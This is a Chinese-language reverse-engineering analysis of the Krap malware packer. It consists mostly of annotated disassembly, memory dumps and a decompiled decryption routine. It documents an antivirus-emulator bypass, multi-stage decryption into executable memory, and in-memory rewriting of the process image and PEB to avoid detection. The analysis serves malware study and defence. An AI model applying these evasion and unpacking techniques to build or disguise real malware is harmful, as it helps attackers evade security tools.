_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ krap病毒家族解密方式及ao变种分析 ]...................<| |>......................[ by nEINEI/vxjump.net ]......................<| |>......................[ 2010-10-29 ]......................<| \>...................... [ neineit_at_gmail.com ] ....................; COMCTL32.LBItemFromPt 004010BD FF15 F8304000 call dword ptr ds:[<&WS2_32.WSAGetLastError>; WS2_32.WSAGetLastError 004010C3 3D 78050000 cmp eax,578 // 验证网络函数的LastError返回值 .--004010C8 0F85 15010000 jnz __krap_.004011E3 // 没有仿真该处直接被引到退出流程 | | ........ | | //退出进程 .->004011E3 FF15 04314000 call dword ptr ds:[<&KERNEL32.TerminateP>; kernel32.TerminateProcess 004011E9 8BE5 mov esp,ebp 004011EB 5D pop ebp 004011EC C3 retn 在不同的被打包的程序中,call LBItemFromPt 这处调用不断变化。例如另一个变种(Win32.LdPinch.arqy) 使用了GetEffectiveClientRect这个函数。 WSAGetLastError比较有意思的地方是,如果上一次的调用是不同的API时,会有不同的返回值结果。 比如调用VirtualAlloc返回值是0x57,调用GetFileVerSionInfoSizeA返回值是0x714。AVer的WSAGetLastError如果 是简单函数仿真的话将被绕过。 接着是解密前的配置工作,简单说一下思路。 就是把这个要解密的次数,大小等信息先解密出来。以后的解密工作是根据这些配置进行的。 我逆出来的解密配置结构大致如下,解密配置和解密后面的数据都是用的一个算法,单字节解密。 typedef struct _decrypt_info { unsinged int encrypt_buff_off; 被加密数据的偏移 unsinged int encrypt_buff_len; 被加密数据的大小 }decrypt_info; typedef struct _virus_config_info { unsigned int alloc_mem_len1; 分配解密内存长度1 unsigned int alloc_mem_len2; 分配解密内存长度2 int decryp_count ; 需要解密的次数 int unknown; decrypt_info di[1] ; 解密需要的信息,需要解密多少次,就有decrypt_info[decryp_count]长度 }virus_config_info; 几个重要的数据 ebp-0x0c --- 记录最后key的偏移 ebp-0x10 --- 控制解密的次数, ebp-0x28 --- key的首地址 ebp-0x1c --- 累加解密长度 ebp-0x18 --- 本次解密长度 004010CE 29FF sub edi,edi 004010D0 897D FC mov dword ptr ss:[ebp-4],edi 004010D3 6A 00 push 0 004010D5 9D popfd 004010D6 81D7 0F734000 adc edi,__krap_.0040730F ; key 首地址+偏移 004010DC 037D E8 add edi,dword ptr ss:[ebp-18] 004010DF 897D F4 mov dword ptr ss:[ebp-C],edi ; 记录最后key的偏移 004010E2 89E9 mov ecx,ebp 004010E4 BE A8010000 mov esi,1A8 004010E9 F7DE neg esi 004010EB 01F1 add ecx,esi 004010ED 894D F0 mov dword ptr ss:[ebp-10],ecx ; 配置段的首地址 004010F0 BE 0E734000 mov esi,__krap_.0040730E 004010F5 8975 D8 mov dword ptr ss:[ebp-28],esi ; key偏移减1 004010F8 8B4D F0 mov ecx,dword ptr ss:[ebp-10] 004010FB 83E9 F0 sub ecx,-10 004010FE 894D E4 mov dword ptr ss:[ebp-1C],ecx 00401101 816D FC 2800000>sub dword ptr ss:[ebp-4],28 00401108 F755 FC not dword ptr ss:[ebp-4] 0040110B 8345 FC 01 add dword ptr ss:[ebp-4],1 ; 得到第一次在栈中解密的长度 0040110F FF75 D8 push dword ptr ss:[ebp-28] 00401112 FF75 FC push dword ptr ss:[ebp-4] 00401115 FF75 F4 push dword ptr ss:[ebp-C] 00401118 8DBD 58FEFFFF lea edi,dword ptr ss:[ebp-1A8] 0040111E 57 push edi // 这里对栈中数据进行解密,就是解密配置信息 0040111F E8 DCFEFFFF call __krap_.00401000 这个版本的Krap是分3段进行解密。 解密前的堆栈: 0012FE18 FA034B1C 0012FE1C 805B639F 0012FE20 00000001 0012FE24 E56C6946 0012FE28 8128E5B0 0012FE2C 8128E560 0012FE30 00000000 0012FE34 FF29F178 0012FE38 FF29F178 0012FE3C FA034B34 0012FE40 805B056B 解密后的堆栈: 0012FE18 000013F0 ------>开始加密的代码长度 --、——————长度相加,刚好是解密总长度 0012FE1C 000026C0 ------>文件内部加密的PE文件长度 --/ ------>多重加密,第一次解密后仍然是加密的 0012FE20 00000003 ------>控制解密次数 0012FE24 00001A00 ------>解密及获得API地址后,分配内存的长度 0012FE28 00004000 ------>加密数据的起始偏移,在data节中 0012FE2C 0000330E ------>第一次解密的长度 0012FE30 00002000 ------>加密数据的起始偏移,在rsrc节中 0012FE34 00000096 ------>第二次解密的长度 0012FE38 00003248 ------>加密数据的起始偏移,在rdata节中 0012FE3C 0000070C ------>第三次解密的长度 解密的函数比较简单,我也不知道是个啥加密算法,不多说了配合F5看一些的情况吧。 int __stdcall decode_buff(char *alloc_buf/*解密后的数据buff*/, char *encode_buf/*加密数据*/, int size, char *key) { int result; int v5; char v6; int _ch; signed int eax_ret; unsigned int index; signed int v10; signed int v11; eax_ret = 0; index = 0; v10 = -1; while ( index < size ) { v6 = ~((unsigned __int8)~(unsigned __int8)*(_DWORD *)&encode_buf[index] | (unsigned __int8)~(_BYTE)v10); _ch = *(_DWORD *)&key[eax_ret]; v11 = -1; result = (int)&alloc_buf[index]; alloc_buf[index] = 0; alloc_buf[index] -= ~(_BYTE)_ch + 1 + v6; alloc_buf[index] = -alloc_buf[index]; v5 = eax_ret++ + 1; if ( eax_ret == 1 ) eax_ret = 0; v11 = v5; if ( (unsigned int)eax_ret > 0x488000 ) break; index -= v10; } return result; } 接着分配内存进行第一次解密,同时将解密过程中的信息存放的堆栈中, $-1AC > 00080000 -------->存放当前解密次数,用于和配置中的次数相比较 ... $-48 > 00080000 $-44 > 00000000 $-40 > 00001FE0 $-3C > FF20B000 $-38 > E1C60400 $-34 > 00000001 $-30 > 00000000 $-2C > 00000408 $-28 > 0040730E ------->加密的数据区 $-24 > 00003AB0 ------->分配的内存长度 $-20 > 00400000 ------->硬编码写入映像的基址例如0x400000 $-1C > 0012FE28 ------->存放的配置信息+0X10偏移的指针 $-18 > 00000000 ------->解密长度的总计 $-14 > 80616CDB ------->分配内存的偏移0x1960处,是解密后运行的入口点 $-10 > 0012FE18 ------->存放的配置信息 $-C > 0040730F $-8 > FFFFFFFE ------->存放分配的内存的首地址 $-4 > 00000028 $ ==> > 0012FFF0 //第一次解密 00401124 8B5D F0 mov ebx,dword ptr ss:[ebp-10] 00401127 8B5B 04 mov ebx,dword ptr ds:[ebx+4] ; 从配置中取一次解密长度0x26c0 0040112A 8B75 F0 mov esi,dword ptr ss:[ebp-10] 0040112D 031E add ebx,dword ptr ds:[esi] ; 累加0x13f0 0040112F 895D DC mov dword ptr ss:[ebp-24],ebx 00401132 BB 40000000 mov ebx,40 00401137 53 push ebx ; 页属性,可执行,可读写 00401138 68 00300000 push 3000 0040113D FF75 DC push dword ptr ss:[ebp-24] 00401140 6A 00 push 0 00401142 FF15 00314000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; kernel32.VirtualAlloc // ... // 累加解密次数,和配置中的次数进行比 0040117E 8B79 08 mov edi,dword ptr ds:[ecx+8] ; 取配置中的比较次数 00401181 39FE cmp esi,edi ; 比较解密次数 00401183 73 2C jnb short __krap_.004011B1 00401185 FF75 D8 push dword ptr ss:[ebp-28] ; 密钥的首地址 00401188 8B4D E4 mov ecx,dword ptr ss:[ebp-1C] 0040118B FF71 04 push dword ptr ds:[ecx+4] ; 解密的长度 0040118E 8B45 E4 mov eax,dword ptr ss:[ebp-1C] 00401191 8B5D E0 mov ebx,dword ptr ss:[ebp-20] ; 基址0x400000 00401194 0318 add ebx,dword ptr ds:[eax] 00401196 53 push ebx ; 加密的数据 00401197 8B75 F8 mov esi,dword ptr ss:[ebp-8] 0040119A 0375 E8 add esi,dword ptr ss:[ebp-18] 0040119D 56 push esi 0040119E E8 5DFEFFFF call <__krap_.decode_buff> 004011A3 8B4D E4 mov ecx,dword ptr ss:[ebp-1C] ; ecx -> decrypt_info * 指针 004011A6 8B45 E8 mov eax,dword ptr ss:[ebp-18] 004011A9 0341 04 add eax,dword ptr ds:[ecx+4] 004011AC 8945 E8 mov dword ptr ss:[ebp-18],eax ; 累加解密的长度 004011AF ^ EB AE jmp short __krap_.0040115F // 等于3次后解密完毕 004011BF 894D EC mov dword ptr ss:[ebp-14],ecx ; 解密后运行的入口点 004011C2 8B8D 64FEFFFF mov ecx,dword ptr ss:[ebp-19C] 004011C8 51 push ecx 004011C9 8B5D F0 mov ebx,dword ptr ss:[ebp-10] 004011CC 8B45 F8 mov eax,dword ptr ss:[ebp-8] 004011CF 0343 04 add eax,dword ptr ds:[ebx+4] 004011D2 50 push eax 004011D3 8B45 EC mov eax,dword ptr ss:[ebp-14] 004011D6 50 push eax 004011D7 68 000000B8 push B8000000 004011DC FF75 EC push dword ptr ss:[ebp-14] // 压入解密后的入口点 004011DF C2 0400 retn 4 // 跳向新的入口 00921690 [0x03].内存中的二次解密 第一次解密后跳到这里: 00921690 55 push ebp 00921691 8BEC mov ebp,esp 00921693 81EC 68020000 sub esp,268 //... 无效的东西,nop掉 009216A1 50 push eax 009216A2 8BC5 mov eax,ebp 009216A4 83C0 18 add eax,18 009216A7 8985 C8FEFFFF mov dword ptr ss:[ebp-138],eax 009216AD 58 pop eax 009216AE E8 FDFEFFFF call 009215B0 // 获得kernel32.dll的基址 009216B3 8985 E8FDFFFF mov dword ptr ss:[ebp-218],eax 009216B9 E8 22FFFFFF call 009215E0 // 获得ntdll.dll的基址 // 单字节赋值,乱序的写入栈中需要的模块名称及函数名称,用来获得以后要导出的API 009216CD C685 2CFEFFFF 6B mov byte ptr ss:[ebp-1D4],6B 009216D4 C685 2DFEFFFF 65 mov byte ptr ss:[ebp-1D3],65 009216DB C685 2EFEFFFF 72 mov byte ptr ss:[ebp-1D2],72 009216E2 C685 2FFEFFFF 6E mov byte ptr ss:[ebp-1D1],6E 009216E9 C685 30FEFFFF 65 mov byte ptr ss:[ebp-1D0],65 009216F0 C685 31FEFFFF 6C mov byte ptr ss:[ebp-1CF],6C 009216F7 C685 32FEFFFF 33 mov byte ptr ss:[ebp-1CE],33 009216FE C685 33FEFFFF 32 mov byte ptr ss:[ebp-1CD],32 00921705 C685 34FEFFFF 00 mov byte ptr ss:[ebp-1CC],0 ... // 栈中数据 0012FC04 6B 65 72 6E 65 6C 33 32 00 00 00 00 4C 6F 63 61 kernel32....Loca 0012FC14 6C 41 6C 6C 6F 63 00 01 56 69 72 74 75 61 6C 41 lAlloc.VirtualA 0012FC24 6C 6C 6F 63 00 lloc. 0012FD15 4C L 0012FD25 6F 63 61 6C 46 72 65 65 00 ocalFree. 0012FCA8 56 69 72 74 75 61 6C 46 72 65 65 00 VirtualFree. 0012FD10 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 7C GetProcAddress.| 0012FDB8 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 VirtualProtect.. 0012FCB8 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 UnmapViewOfFile. ... // 在将这些排列不连续的字符串指针,加入到一个表中留着后面使用 $-A8 > 0012FC10 ASCII "LocalAlloc" $-A4 > 0012FD24 ASCII "LocalFree" $-A0 > 0012FC1C ASCII "VirtualAlloc" $-9C > 0012FCA8 ASCII "VirtualFree" $-98 > 0012FD10 ASCII "GetProcAddress" $-94 > 0012FDB8 返回到 0012FDB8 $-90 > 0012FCB8 ASCII "UnmapViewOfFile" $-8C > 0012FC2C ASCII "LoadLibraryA" $-88 > 0012FCC8 ASCII "GetModuleHandleA" $-84 > 0012FBEC ASCII "LoadResource" $-80 > 0012FCDC ASCII "LockResource" $-7C > 0012FDC8 ASCII "FindResourceA" $-78 > 0012FBD4 ASCII "GetProcessHeap" $-74 > 0012FCEC ASCII "RtlAllocateHeap" // 然后定位到自身捆绑的一个PE文件,我们这里为了区别,叫它pe_bound,这是个被UPX压缩的文件,也是加密的。 在内存中用那个pe_bound文件修改自身,起到内存免杀作用。 首先,按照pe_bound的section格式,继续拷贝每一个节到自身进程空间。 // 获得需要的API的地址 00921CA8 E8 B3E7FFFF call 00920460 //GetModuleHandleA 的API地址 00921CAD 8B8D CCFEFFFF mov ecx,dword ptr ss:[ebp-134] 00921CB3 8941 30 mov dword ptr ds:[ecx+30],eax 00921CB6 8D95 2CFEFFFF lea edx,dword ptr ss:[ebp-1D4] 00921CBC 52 push edx 00921CBD 8B85 CCFEFFFF mov eax,dword ptr ss:[ebp-134] 00921CC3 8B48 30 mov ecx,dword ptr ds:[eax+30] 00921CC6 FFD1 call ecx // 获得自身kernle32基址 00921CC8 8985 E8FDFFFF mov dword ptr ss:[ebp-218],eax 00921CCE 8B95 58FFFFFF mov edx,dword ptr ss:[ebp-A8] 00921CD4 52 push edx 00921CD5 8B85 E8FDFFFF mov eax,dword ptr ss:[ebp-218] 00921CDB 50 push eax //获得 (kernel32.LocalAlloc) 00921CDC E8 7FE7FFFF call 00920460 00921CE1 8B8D CCFEFFFF mov ecx,dword ptr ss:[ebp-134] 00921CE7 8901 mov dword ptr ds:[ecx],eax 00921CE9 8B95 5CFFFFFF mov edx,dword ptr ss:[ebp-A4] 00921CEF 52 push edx 00921CF0 8B85 E8FDFFFF mov eax,dword ptr ss:[ebp-218] 00921CF6 50 push eax //获得 (kernel32.LocalFree) //... // 再分配一块内存 00921E2D 6A 04 push 4 00921E2F 68 00300000 push 3000 00921E34 8B55 0C mov edx,dword ptr ss:[ebp+C] 00921E37 52 push edx 00921E38 6A 00 push 0 00921E3A 8B85 CCFEFFFF mov eax,dword ptr ss:[ebp-134] 00921E40 8B48 08 mov ecx,dword ptr ds:[eax+8] 00921E43 FFD1 call ecx //具体信息 0012FB5C 00921E45 /CALL 到 VirtualAlloc 来自 00921E43 0012FB60 00000000 |Address = NULL 0012FB64 00001A00 |Size = 1A00 (6656.) 0012FB68 00003000 |AllocationType = MEM_COMMIT|MEM_RESERVE 0012FB6C 00000004 \Protect = PAGE_READWRITE 00921E45 8985 C4FEFFFF mov dword ptr ss:[ebp-13C],eax 00921E4B 8B95 C4FEFFFF mov edx,dword ptr ss:[ebp-13C] 00921E51 52 push edx 00921E52 8B45 08 mov eax,dword ptr ss:[ebp+8] 00921E55 50 push eax 00921E56 E8 25E2FFFF call 00920080 ---- 第二次解密数据到930000这块内存,这块就是用来放解密的那个pe_bound 这个文件本身是非连续加密的,加密的算法简单,跳过若干个字节进行解密,看一些解密后的情况。 //解密前 009226C0 4D 38 5A 90 38 03 66 02 04 09 71 FF 81 B8 C2 91 M8Z?f.q伕聭 009226D0 01 40 C2 15 C6 D8 09 1C 0E 1F BA F8 00 B4 09 CD @?曝.壶.? 009226E0 21 B8 01 4C C0 0A 54 68 69 73 20 0E 70 72 6F 67 !?L?This prog 009226F0 67 61 6D 87 63 47 6E 1F 4F 74 E7 62 65 AF CF 75 gam嘽GnOt鏱eu 00922700 5F 98 69 06 44 4F 7E 53 03 6D 6F 64 65 2E 0D 89 _榠DO~Smode.. 00922710 0A 24 4C 44 85 01 BB 29 40 C1 DA 47 13 58 04 E6 .$LD??@邻GX 00922720 3E 1C 3A 30 C0 11 A3 C5 54 F8 C3 88 02 D5 7C 1A >:0?ET?諀 00922730 54 CE 1C 46 F8 FB A9 20 29 0D 90 10 3F C1 52 69 T?F?).??罵i 00922740 63 68 44 38 2A 9C 10 50 45 14 4C 01 DA 0E FC 95 chD8*?PEL?鼤 00922750 BD F5 14 8E E0 03 02 01 0B 93 08 33 12 20 1B 10 锦庎 ?3  00922760 20 09 60 33 30 7F 11 70 2B 09 90 F6 A0 18 49 02 .`30p+.愽?I // 解密后的 00930000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?........ 00930010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ?......@....... 00930020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00930030 00 00 00 00 00 00 00 00 00 00 00 00 D8 00 00 00 ............?.. 00930040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ?.???L?Th 00930050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno 00930060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS 00930070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$....... 00930080 85 BB 29 40 C1 DA 47 13 C1 DA 47 13 C1 DA 47 13 吇)@邻G邻G邻G 00930090 E6 1C 3A 13 C0 DA 47 13 A3 C5 54 13 C3 DA 47 13 ?:磊GET泌G 009300A0 02 D5 1A 13 CE DA 47 13 C1 DA 46 13 FB DA 47 13 ?乌G邻FG // pe_bound解密完成后,继续修改自身 //修改自身内存属性,从基址开始4000000 00921F0F 6A 40 push 40 00921F11 8B8D C0FEFFFF mov ecx,dword ptr ss:[ebp-140] 00921F17 8B51 38 mov edx,dword ptr ds:[ecx+38] 00921F1A 52 push edx 00921F1B 8B85 48FFFFFF mov eax,dword ptr ss:[ebp-B8] 00921F21 50 push eax 00921F22 8B8D CCFEFFFF mov ecx,dword ptr ss:[ebp-134] 00921F28 8B51 14 mov edx,dword ptr ds:[ecx+14] 00921F2B FFD2 call edx //VirtualProtect // 拷贝930000这块内存的0 ~ 0x400 空间的数据到自身 0x400000 ~ 0x400400 00921F53 8B8D D8FDFFFF mov ecx,dword ptr ss:[ebp-228] 00921F59 83C1 01 add ecx,1 00921F5C 898D D8FDFFFF mov dword ptr ss:[ebp-228],ecx 00921F62 8B95 D8FDFFFF mov edx,dword ptr ss:[ebp-228] 00921F68 3B55 D4 cmp edx,dword ptr ss:[ebp-2C] 00921F6B 73 1B jnb short 00921F88 00921F6D 8B45 DC mov eax,dword ptr ss:[ebp-24] 00921F70 0385 D8FDFFFF add eax,dword ptr ss:[ebp-228] 00921F76 8B8D F0FDFFFF mov ecx,dword ptr ss:[ebp-210] 00921F7C 038D D8FDFFFF add ecx,dword ptr ss:[ebp-228] 00921F82 8A11 mov dl,byte ptr ds:[ecx] 00921F84 8810 mov byte ptr ds:[eax],dl 00921F86 ^ EB CB jmp short 00921F53 // 0x400 后的数据按节的大小单独copy 00921FBC 3985 D4FDFFFF cmp dword ptr ss:[ebp-22C],eax // 比较当前处理的节数量是否等于节总数 00921FC2 0F8D E8000000 jge 009220B0 00921FC8 8B8D DCFDFFFF mov ecx,dword ptr ss:[ebp-224] 00921FCE 0FB751 02 movzx edx,word ptr ds:[ecx+2] 00921FD2 83EA 01 sub edx,1 00921FD5 3995 D4FDFFFF cmp dword ptr ss:[ebp-22C],edx 00921FDB 75 1A jnz short 00921FF7 00921FDD 8B85 C0FEFFFF mov eax,dword ptr ss:[ebp-140] 00921FE3 8B8D ECFDFFFF mov ecx,dword ptr ss:[ebp-214] 00921FE9 8B50 38 mov edx,dword ptr ds:[eax+38] 00921FEC 2B51 0C sub edx,dword ptr ds:[ecx+C] 00921FEF 8995 9CFDFFFF mov dword ptr ss:[ebp-264],edx 00921FF5 EB 18 jmp short 0092200F 00921FF7 8B85 ECFDFFFF mov eax,dword ptr ss:[ebp-214] 00921FFD 8B8D ECFDFFFF mov ecx,dword ptr ss:[ebp-214] 00922003 8B50 34 mov edx,dword ptr ds:[eax+34] 00922006 2B51 0C sub edx,dword ptr ds:[ecx+C] 00922009 8995 9CFDFFFF mov dword ptr ss:[ebp-264],edx 0092200F 8B85 9CFDFFFF mov eax,dword ptr ss:[ebp-264] 00922015 8985 CCFDFFFF mov dword ptr ss:[ebp-234],eax 0092201B 8B8D ECFDFFFF mov ecx,dword ptr ss:[ebp-214] 00922021 8B55 DC mov edx,dword ptr ss:[ebp-24] 00922024 0351 0C add edx,dword ptr ds:[ecx+C] 00922027 8995 D0FDFFFF mov dword ptr ss:[ebp-230],edx 0092202D C785 B8FDFFFF 0>mov dword ptr ss:[ebp-248],0 00922037 33C0 xor eax,eax 00922039 8985 BCFDFFFF mov dword ptr ss:[ebp-244],eax 0092203F 8985 C0FDFFFF mov dword ptr ss:[ebp-240],eax 00922045 8985 C4FDFFFF mov dword ptr ss:[ebp-23C],eax 0092204B 8985 C8FDFFFF mov dword ptr ss:[ebp-238],eax 00922051 8B8D D0FDFFFF mov ecx,dword ptr ss:[ebp-230] 00922057 898D B4FDFFFF mov dword ptr ss:[ebp-24C],ecx 0092205D 8B95 ECFDFFFF mov edx,dword ptr ss:[ebp-214] 00922063 8B42 10 mov eax,dword ptr ds:[edx+10] 00922066 3B85 CCFDFFFF cmp eax,dword ptr ss:[ebp-234] // 比较 SizeOfRawData 的大小,做copy前准备 0092206C 76 0E jbe short 0092207C 0092206E 8B8D CCFDFFFF mov ecx,dword ptr ss:[ebp-234] 00922074 898D 6CFEFFFF mov dword ptr ss:[ebp-194],ecx 0092207A EB 0F jmp short 0092208B 0092207C 8B95 ECFDFFFF mov edx,dword ptr ss:[ebp-214] 00922082 8B42 10 mov eax,dword ptr ds:[edx+10] 00922085 8985 6CFEFFFF mov dword ptr ss:[ebp-194],eax 0092208B 8B8D 6CFEFFFF mov ecx,dword ptr ss:[ebp-194] 00922091 51 push ecx // 目的数据,就是自身的节偏移 00922092 8B95 ECFDFFFF mov edx,dword ptr ss:[ebp-214] 00922098 8B45 D8 mov eax,dword ptr ss:[ebp-28] 0092209B 0342 14 add eax,dword ptr ds:[edx+14] 0092209E 50 push eax // 源数据,就是alloc 的那个buff 930000 + 节偏移 0092209F 8B8D D0FDFFFF mov ecx,dword ptr ss:[ebp-230] 009220A5 51 push ecx // copy数据大小 009220A6 E8 55DFFFFF call 00920000 // copy数据到自身 009220AB ^ E9 E4FEFFFF jmp 00921F94 // 查找自身的映像数据也就是0x400000,如果是跳到下方,做一系列修改操作 0092225A E8 61F2FFFF call 009214C0 // eax 中 获得PEB 基址 0092225F 8945 94 mov dword ptr ss:[ebp-6C],eax 00922262 8B45 94 mov eax,dword ptr ss:[ebp-6C] 00922265 8B8D 48FFFFFF mov ecx,dword ptr ss:[ebp-B8] 0092226B 8948 08 mov dword ptr ds:[eax+8],ecx // 修改PEB 中的ImageBaseAddress 数据为0x400000 0092226E E8 4DF2FFFF call 009214C0 // eax 中 获得PEB 基址 00922273 8B50 0C mov edx,dword ptr ds:[eax+C] // PEB.Ldr 00922276 83C2 0C add edx,0C // PEB.Ldr.InLoadOrderModuleList 00922279 8995 30FFFFFF mov dword ptr ss:[ebp-D0],edx 0092227F 8B85 30FFFFFF mov eax,dword ptr ss:[ebp-D0] 00922285 8B08 mov ecx,dword ptr ds:[eax] 00922287 898D 28FEFFFF mov dword ptr ss:[ebp-1D8],ecx 0092228D 8B95 28FEFFFF mov edx,dword ptr ss:[ebp-1D8] 00922293 3B95 30FFFFFF cmp edx,dword ptr ss:[ebp-D0] // 遍历链表模块信息,查找自身模块 00922299 /74 57 je short 009222F2 0092229B |8B85 28FEFFFF mov eax,dword ptr ss:[ebp-1D8] 009222A1 |8985 34FFFFFF mov dword ptr ss:[ebp-CC],eax 009222A7 |8B8D 34FFFFFF mov ecx,dword ptr ss:[ebp-CC] 009222AD |8B51 18 mov edx,dword ptr ds:[ecx+18] 009222B0 |3B95 48FFFFFF cmp edx,dword ptr ss:[ebp-B8] // 比较是不是自身模块0x400000 009222B6 |75 2A jnz short 009222E2 009222B8 |8B85 C0FEFFFF mov eax,dword ptr ss:[ebp-140] 009222BE |8B8D 48FFFFFF mov ecx,dword ptr ss:[ebp-B8] 009222C4 |0348 10 add ecx,dword ptr ds:[eax+10] // 获得bound_pe的入口点,但这个是经过修正的,已经被改为0x407f30 009222C7 |8B95 34FFFFFF mov edx,dword ptr ss:[ebp-CC] 009222CD |894A 1C mov dword ptr ds:[edx+1C],ecx // 改写原自身的入口点0x40109c为0x407f30 009222D0 |8B85 34FFFFFF mov eax,dword ptr ss:[ebp-CC] // eax 保存当前 _LDR_DATA_TABLE_ENTRY 信息 009222D6 |8B8D C0FEFFFF mov ecx,dword ptr ss:[ebp-140] 009222DC |8B51 38 mov edx,dword ptr ds:[ecx+38] // SizeOfImage 009222DF |8950 20 mov dword ptr ds:[eax+20],edx // 修改SizeOfImage 为0xA000,原为0x19000 009222E2 |8B85 28FEFFFF mov eax,dword ptr ss:[ebp-1D8] 009222E8 |8B08 mov ecx,dword ptr ds:[eax] 009222EA |898D 28FEFFFF mov dword ptr ss:[ebp-1D8],ecx 009222F0 ^|EB 9B jmp short 0092228D // 如果没有发现继续next // 找到,跳出了链表循环 009222F2 8D95 70FEFFFF lea edx,dword ptr ss:[ebp-190] 009222F8 52 push edx 009222F9 8B85 48FFFFFF mov eax,dword ptr ss:[ebp-B8] 009222FF 50 push eax // 压入基址0x400000 00922300 E8 2BEDFFFF call 00921030 // 填充一些PE信息 00921030 55 push ebp 00921031 8BEC mov ebp,esp 00921033 83EC 0C sub esp,0C 00921036 8D45 F8 lea eax,dword ptr ss:[ebp-8] 00921039 50 push eax 0092103A 8D4D FC lea ecx,dword ptr ss:[ebp-4] 0092103D 51 push ecx 0092103E 8D55 F4 lea edx,dword ptr ss:[ebp-C] 00921041 52 push edx 00921042 8B45 08 mov eax,dword ptr ss:[ebp+8] 00921045 50 push eax 00921046 E8 D5F4FFFF call 00920520 // 获得MagicNumber,第一个节的虚拟地址, 0092104B 8B4D 0C mov ecx,dword ptr ss:[ebp+C] 0092104E 8B55 08 mov edx,dword ptr ss:[ebp+8] 00921051 8951 18 mov dword ptr ds:[ecx+18],edx 00921054 8B45 0C mov eax,dword ptr ss:[ebp+C] 00921057 8B4D FC mov ecx,dword ptr ss:[ebp-4] 0092105A 8B51 10 mov edx,dword ptr ds:[ecx+10] 0092105D 8950 1C mov dword ptr ds:[eax+1C],edx // 写新的入口地址 00921060 8B45 0C mov eax,dword ptr ss:[ebp+C] 00921063 8B4D FC mov ecx,dword ptr ss:[ebp-4] 00921066 8B51 38 mov edx,dword ptr ds:[ecx+38] // 写入新的Size0fImage 00921069 8950 20 mov dword ptr ds:[eax+20],edx 0092106C 8B45 0C mov eax,dword ptr ss:[ebp+C] 0092106F 8B4D F4 mov ecx,dword ptr ss:[ebp-C] 00921072 8B51 04 mov edx,dword ptr ds:[ecx+4] 00921075 8950 44 mov dword ptr ds:[eax+44],edx // 写入TimeDateStamp 00921078 8BE5 mov esp,ebp 0092107A 5D pop ebp 0092107B C2 0800 retn 8 // 压入导出的API列表 00922305 8B8D CCFEFFFF mov ecx,dword ptr ss:[ebp-134] 0092230B 51 push ecx 0092230C 8D95 70FEFFFF lea edx,dword ptr ss:[ebp-190] 00922312 52 push edx 00922313 6A 00 push 0 00922315 E8 66EDFFFF call 00921080 00920A52 E8 59FCFFFF call //查找对应的Kernel32,ntdll 导出表 00920A57 8945 EC mov dword ptr ss:[ebp-14],eax 00920A5A 837D EC 00 cmp dword ptr ss:[ebp-14],0 00920A5E 75 07 jnz short 00920A67 00920A60 33C0 xor eax,eax 00920A62 E9 17020000 jmp 00920C7E 00920A67 8B55 EC mov edx,dword ptr ss:[ebp-14] 00920A6A 837A 20 00 cmp dword ptr ds:[edx+20],0 00920A6E 75 07 jnz short 00920A77 00920A70 33C0 xor eax,eax // 找到了需要的API 00920C44 837D E8 00 cmp dword ptr ss:[ebp-18],0 00920C48 74 05 je short 00920C4F 00920C4A 8B45 E8 mov eax,dword ptr ss:[ebp-18] 00920C4D EB 2F jmp short 00920C7E 00920C4F EB 26 jmp short 00920C77 // 用自己获得的API填充自己已经被修改过的IAT 00920DA2 E8 99FCFFFF call 00920A40 // 找 (WININET.InternetOpenA) ok 00920DA7 8B4D E4 mov ecx,dword ptr ss:[ebp-1C] ; __krap_.00409100 00920DAA 8901 mov dword ptr ds:[ecx],eax 00920DAC 8B55 E4 mov edx,dword ptr ss:[ebp-1C] 00920DAF 833A 00 cmp dword ptr ds:[edx],0 // 清除工作 00922351 E8 EA020000 call 00922640 00922356 8BE5 mov esp,ebp 00922358 5D pop ebp 00922359 C2 1800 retn 18 009226A3 8B7D 1C mov edi,dword ptr ss:[ebp+1C] 009226A6 8B75 18 mov esi,dword ptr ss:[ebp+18] 009226A9 8B5D 14 mov ebx,dword ptr ss:[ebp+14] 009226AC FF65 F0 jmp dword ptr ss:[ebp-10] // 注意这里,跳向了新的EOP处(00407f30) // 至此二次解密的前期准备工作完毕,下面是解密 // 用407000数据按一定的格式去改写401000开始的数据 00407F48 8A06 mov al,byte ptr ds:[esi] 00407F4A 46 inc esi 00407F4B 8807 mov byte ptr ds:[edi],al 00407F4D 47 inc edi 00407F4E 01DB add ebx,ebx 00407F50 75 07 jnz short __krap_.00407F59 00407F52 8B1E mov ebx,dword ptr ds:[esi] 00407F54 83EE FC sub esi,-4 00407F57 11DB adc ebx,ebx 00407F59 ^ 72 ED jb short __krap_.00407F48 ... // 从406000开始,搜索导入表中函数名称的后面的信息。406420开始为一块重定位的信息,利用这个重定位信息 去修正401000中的代码,这里面记录的是要重定位数据的索引。 004063E2 41 00 01 48 74 74 70 51 75 65 72 79 49 6E 66 6F A.HttpQueryInfo 004063F2 41 00 01 49 6E 74 65 72 6E 65 74 43 6C 6F 73 65 A.InternetClose 00406402 48 61 6E 64 6C 65 00 01 49 6E 74 65 72 6E 65 74 Handle.Internet 00406412 52 65 61 64 46 69 6C 65 00 00 00 00 00 00 9D 08 ReadFile......? 00406422 0F 11 1D 23 0F 0D 06 05 0D 06 15 33 0F 0E 0D 0B #..3. 00406432 07 12 07 27 35 21 A3 0B 34 70 0D 06 28 20 14 11 '5!?4p.(  00406442 11 21 28 32 3B 39 09 1D 0B 0C 54 07 16 06 07 07 !(2;9. .T 00406452 07 07 07 07 13 09 12 06 05 0E 0F 10 0C 30 